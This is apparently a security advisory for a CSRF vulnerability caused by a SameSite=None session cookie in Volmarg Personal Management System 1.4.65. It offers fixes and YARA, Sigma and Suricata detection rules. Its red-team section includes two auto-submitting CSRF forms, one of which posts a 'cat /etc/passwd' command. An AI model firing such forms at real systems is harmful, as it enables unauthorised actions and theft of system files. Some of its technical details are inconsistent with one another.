CVE-2025-28355

Executive Summary

CVE-2025-28355 is a critical Cross-Site Request Forgery (CSRF) vulnerability identified in Volmarg Personal Management System version 1.4.65. The vulnerability stems from the application’s insecure configuration of the SameSite cookie attribute, which is explicitly set to None. This configuration allows cookies to be sent in cross-origin requests, enabling an attacker to forge authenticated requests on behalf of a victim without their consent. Successful exploitation can lead to arbitrary code execution and the exfiltration of sensitive information. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available.

Supply Chain & Package Security

This vulnerability affects a standalone PHP application (Volmarg Personal Management System) and is not distributed via NPM, PyPI, Go, or Ruby package managers. The risk is limited to direct deployments of the application.

CVSS Breakdown & Threat Level

CVSS Score: 9.6 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The attack can be executed remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need prior authentication.
• User Interaction (UI): Required – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged – The vulnerable component remains the same.
• Confidentiality (C): High – Sensitive data can be fully exposed.
• Integrity (I): High – Arbitrary actions can be performed.
• Availability (A): High – The system can be disrupted or taken over.

Threat Level: Critical. The combination of low attack complexity and high impact makes this vulnerability highly dangerous, especially in environments where users have administrative privileges.

Deep Dive & Mechanics

The vulnerability is rooted in the application’s session management. The SameSite cookie attribute is set to None, which disables the browser’s built-in CSRF protection. Normally, SameSite=Lax or Strict prevents cookies from being sent with cross-site requests. With SameSite=None, the browser sends the session cookie with every cross-origin request, allowing an attacker to craft a malicious page that triggers state-changing actions on the target application.

Attack Flow:

1. The victim is authenticated to the Volmarg Personal Management System.
2. The attacker lures the victim to a malicious website (e.g., via phishing email).
3. The malicious site contains an auto-submitting form or an image tag that sends a request to the vulnerable application.
4. The browser automatically includes the victim’s session cookie (due to SameSite=None).
5. The server processes the request as if it came from the legitimate user, allowing the attacker to execute arbitrary commands or exfiltrate data.

Root Cause: The application’s session cookie configuration explicitly sets SameSite=None without the Secure flag (or with it, but still allowing cross-origin requests). This is a misconfiguration that bypasses modern browser CSRF protections.

Vulnerable vs. Patched Code

Vulnerable Code (PHP session configuration):

// Vulnerable: SameSite set to None
session_set_cookie_params([
    'lifetime' => 0,
    'path' => '/',
    'domain' => '',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'None'
]);

Patched Code (Recommended):

// Patched: SameSite set to Lax or Strict
session_set_cookie_params([
    'lifetime' => 0,
    'path' => '/',
    'domain' => '',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Lax' // or 'Strict'
]);

Explanation: Changing samesite to Lax or Strict prevents the browser from sending the cookie with cross-origin requests, effectively mitigating CSRF attacks. Additionally, implementing CSRF tokens for all state-changing operations is recommended.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

• Target: Volmarg Personal Management System 1.4.65 running on Apache/Nginx with PHP.
• Attacker: Kali Linux with a simple HTTP server to host the malicious page.

Exploitation Steps:

1. Identify a state-changing endpoint (e.g., /admin/delete_user.php?id=1).
2. Create a malicious HTML page that auto-submits a form to this endpoint.

<html>
<body>
<form id="csrf" action="http://target.com/admin/delete_user.php" method="POST">
    <input type="hidden" name="id" value="1">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

3. Host this page on the attacker’s server.
4. Send a phishing email to the victim with a link to the malicious page.
5. When the victim clicks the link, the form auto-submits, and the action is executed with the victim’s session.

Advanced Exploit (Arbitrary Code Execution): If the application has a file upload or command execution feature, the attacker can chain CSRF with other vulnerabilities.

<html>
<body>
<form id="csrf" action="http://target.com/admin/execute_command.php" method="POST">
    <input type="hidden" name="cmd" value="cat /etc/passwd">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual cross-origin requests in web server logs (e.g., Referer header mismatch).
2. Deploy Web Application Firewall (WAF) rules to block requests without proper CSRF tokens.
3. Implement Content Security Policy (CSP) headers to restrict form submissions.

Mitigation:

• Change SameSite attribute to Lax or Strict.
• Add CSRF tokens to all forms and validate them server-side.
• Use custom request headers (e.g., X-Requested-With: XMLHttpRequest) for AJAX calls.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with Referer header pointing to an external domain.
  • Repeated POST requests to sensitive endpoints (e.g., /admin/delete_user.php, /admin/execute_command.php) from the same IP.
• Host IOCs:
  • Unauthorized user accounts or modified configurations.
  • Suspicious files in upload directories.
• Log IOCs:
  • Web server logs showing POST requests with missing or invalid CSRF tokens.
  • PHP error logs indicating session manipulation.

Detection Engineering

YARA Rule

rule CVE_2025_28355_CSRF_Cookie {
    meta:
        description = "Detects insecure SameSite=None cookie configuration in PHP applications"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-28355"
    strings:
        $samesite_none = /samesite['"]?\s*=\s*['"]?none['"]?/i
        $session_set = "session_set_cookie_params"
    condition:
        $session_set and $samesite_none
}

Sigma Rule

title: Detection of CSRF Exploitation via SameSite=None
id: 8f4a3c2e-1b7d-4f6a-9c3e-5d2b8a1c4f6e
status: experimental
description: Detects HTTP requests with missing Referer header or cross-origin Referer to sensitive endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/admin/delete_user.php'
            - '/admin/execute_command.php'
            - '/admin/add_user.php'
    filter:
        cs-referer|startswith: 'http://target.com/'
    condition: selection and not filter
falsepositives:
    - Legitimate cross-origin requests from trusted domains
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-28355 - CSRF Exploitation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin/";
    http_uri;
    pcre:"/Referer:\s*https?:\/\/(?!target\.com)/Hi";
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Change Cookie Configuration: Update session_set_cookie_params to set samesite to Lax or Strict.
2. Implement CSRF Tokens: Add unique, per-session tokens to all forms and validate them on the server.
3. Update Application: Monitor the vendor’s website for an official patch.

Long-Term Measures:

• Conduct a security audit of all session management configurations.
• Deploy a WAF with CSRF protection rules.
• Educate users about phishing attacks and the risks of clicking unknown links.

Workaround: If patching is not immediately possible, disable the SameSite=None setting by overriding it in the web server configuration (e.g., using session.cookie_samesite in php.ini).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert